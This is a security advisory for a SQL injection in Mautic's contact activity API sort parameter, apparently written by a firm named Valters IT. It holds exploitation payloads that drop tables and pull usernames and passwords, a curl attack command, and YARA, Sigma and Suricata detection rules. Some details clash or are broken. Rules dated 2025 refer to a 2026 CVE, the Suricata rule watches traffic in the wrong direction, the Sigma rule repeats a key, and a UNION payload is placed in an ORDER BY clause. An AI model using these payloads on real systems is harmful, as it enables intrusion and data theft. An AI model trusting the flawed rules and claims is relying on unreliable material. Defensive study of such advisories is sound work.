CVE-2026-3105

Executive Summary

CVE-2026-3105 is a SQL injection vulnerability in Mautic, an open-source marketing automation platform. The flaw resides in the API endpoint responsible for retrieving contact activity timelines. The parameter controlling sort direction is not validated against an allowlist, allowing an authenticated attacker to inject arbitrary SQL commands. With a CVSS score of 7.6, this vulnerability poses a high risk to data confidentiality and integrity. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. However, given the nature of SQL injection, immediate patching is critical.

Supply Chain & Package Security

Mautic is a PHP-based application distributed via GitHub and Composer. This vulnerability does not directly affect the supply chain of NPM, PyPI, Go, or Ruby packages. However, organizations using Mautic should verify the integrity of their installation and ensure no malicious modifications have been introduced. The patch is available through official Mautic releases, and users should update via Composer or by downloading the latest release from the Mautic GitHub repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Base Score: 7.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated API access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability allows authenticated users to extract or modify sensitive contact data, potentially leading to data breaches or manipulation of marketing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the API endpoint that retrieves contact activity timelines. The endpoint accepts a parameter to specify the sort direction (e.g., order or dir). This parameter is used directly in SQL query construction without proper validation against an allowlist of expected values (e.g., ASC or DESC). An attacker can inject arbitrary SQL by providing a malicious value, such as:

/api/contacts/1/activity?order=ASC; DROP TABLE contacts; --

The lack of parameterized queries or input sanitization allows the injection to be executed. The attacker must be authenticated to access the API, but no special privileges beyond a standard user account are required.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

$order = $_GET['order'];
$query = "SELECT * FROM contact_activity WHERE contact_id = :id ORDER BY activity_date $order";
$stmt = $db->prepare($query);
$stmt->execute(['id' => $contactId]);

Patched Code (PHP):

$allowedOrders = ['ASC', 'DESC'];
$order = $_GET['order'];
if (!in_array(strtoupper($order), $allowedOrders)) {
    $order = 'DESC'; // default
}
$query = "SELECT * FROM contact_activity WHERE contact_id = :id ORDER BY activity_date $order";
$stmt = $db->prepare($query);
$stmt->execute(['id' => $contactId]);

The patch introduces an allowlist validation, ensuring only ASC or DESC are accepted. If an invalid value is provided, it defaults to a safe value.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Mautic instance (version < 4.4.19, < 5.2.10, < 6.0.8, or < 7.0.1)
• Valid API credentials (e.g., OAuth2 token or basic auth)

Exploitation Steps:

1. Authenticate to the Mautic API and obtain a valid token.
2. Craft a request to the vulnerable endpoint:

   GET /api/contacts/1/activity?order=ASC; SELECT * FROM users; --
   

3. Use SQL injection to extract data, e.g., via UNION-based injection:

   GET /api/contacts/1/activity?order=ASC UNION SELECT username, password, email FROM users --
   

4. Parse the response to retrieve sensitive data.

Example cURL Command:

curl -X GET "https://target.com/api/contacts/1/activity?order=ASC%3B%20SELECT%20*%20FROM%20users%20--" \
  -H "Authorization: Bearer <token>"

Blue Team

Detection:

• Monitor API logs for unusual order parameter values (e.g., containing SQL keywords like UNION, SELECT, DROP).
• Use WAF rules to block SQL injection patterns in API parameters.
• Implement rate limiting on API endpoints to slow down brute-force attempts.

Hunting:

• Search for HTTP requests to /api/contacts/*/activity with order parameters containing non-alphanumeric characters or SQL syntax.
• Correlate with database query logs for unexpected SQL statements.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/contacts/*/activity with order parameter containing SQL keywords (e.g., UNION, SELECT, DROP, --).
  • Unusual response sizes or error messages indicating SQL syntax errors.
• Host IOCs:
  • Database logs showing unexpected queries with injected SQL.
  • Web server logs with 500 errors from the API endpoint.
• File IOCs:
  • Modified Mautic source files (e.g., app/bundles/LeadBundle/Controller/Api/LeadApiController.php).

Detection Engineering

YARA Rule

rule CVE_2026_3105_SQLi_Mautic {
    meta:
        description = "Detects SQL injection attempts targeting Mautic CVE-2026-3105"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-3105"
    strings:
        $s1 = "/api/contacts/" nocase
        $s2 = "/activity" nocase
        $s3 = "order=" nocase
        $sqli1 = "UNION" nocase
        $sqli2 = "SELECT" nocase
        $sqli3 = "DROP" nocase
        $sqli4 = "--" nocase
    condition:
        all of ($s1, $s2, $s3) and 1 of ($sqli*)
}

Sigma Rule

title: Mautic CVE-2026-3105 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against Mautic contact activity API endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/api/contacts/'
        c-uri|contains: '/activity'
        c-uri|contains: 'order='
        c-uri|contains|any:
            - 'UNION'
            - 'SELECT'
            - 'DROP'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-malicious context (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-3105 Mautic SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/contacts/"; http_uri;
    content:"/activity"; http_uri;
    content:"order="; http_uri;
    pcre:"/(UNION|SELECT|DROP|--)/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-3105;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update Mautic to version 4.4.19, 5.2.10, 6.0.8, or 7.0.1 (or later).
2. If immediate patching is not possible, implement a WAF rule to block SQL injection patterns in the order parameter.
3. Restrict API access to trusted IPs and enforce strong authentication.

Long-term Measures:

• Conduct a code review of all API endpoints for similar injection flaws.
• Implement parameterized queries or prepared statements throughout the application.
• Enable logging and monitoring for all API requests.

Workarounds:

• None officially provided. The only effective mitigation is patching.

Valters IT